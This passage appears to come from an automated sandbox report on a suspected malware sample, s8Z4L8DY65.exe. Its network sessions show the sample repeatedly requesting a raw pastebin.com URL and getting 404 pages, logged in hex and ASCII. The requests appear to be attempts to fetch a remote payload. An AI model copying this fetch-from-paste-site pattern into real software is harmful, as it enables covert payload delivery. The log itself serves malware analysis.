2024-07-02 14:31:11 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	54840	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:11 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:11 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 115 Server: cloudflare CF-RAY: 89cf5689eaee729e-EWR
2024-07-02 14:31:11 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	54841	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:12 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:12 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 116 Server: cloudflare CF-RAY: 89cf568dfd507c8a-EWR
2024-07-02 14:31:12 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	54842	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:12 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:13 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 116 Server: cloudflare CF-RAY: 89cf5691f80b0cd9-EWR
2024-07-02 14:31:13 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	54843	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:13 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:13 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 117 Server: cloudflare CF-RAY: 89cf5696092643f4-EWR
2024-07-02 14:31:13 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	54844	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:14 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:14 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 118 Server: cloudflare CF-RAY: 89cf5699de58438b-EWR
2024-07-02 14:31:14 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	54845	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:14 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:14 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 118 Server: cloudflare CF-RAY: 89cf569e5a6742a9-EWR
2024-07-02 14:31:14 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	54846	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:15 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:15 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 119 Server: cloudflare CF-RAY: 89cf56a2586c0f41-EWR
2024-07-02 14:31:15 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	54847	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:16 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:16 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 120 Server: cloudflare CF-RAY: 89cf56a648810ca5-EWR
2024-07-02 14:31:16 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	54848	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:16 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:16 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 120 Server: cloudflare CF-RAY: 89cf56aa6bcc437b-EWR
2024-07-02 14:31:16 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	54849	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:17 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:17 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 121 Server: cloudflare CF-RAY: 89cf56aeef7e4223-EWR
2024-07-02 14:31:17 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	54850	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:18 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:18 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 122 Server: cloudflare CF-RAY: 89cf56b2df1a43e2-EWR
2024-07-02 14:31:18 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	54851	104.20.4.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:18 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:18 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 122 Server: cloudflare CF-RAY: 89cf56b6d810430e-EWR
2024-07-02 14:31:18 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, 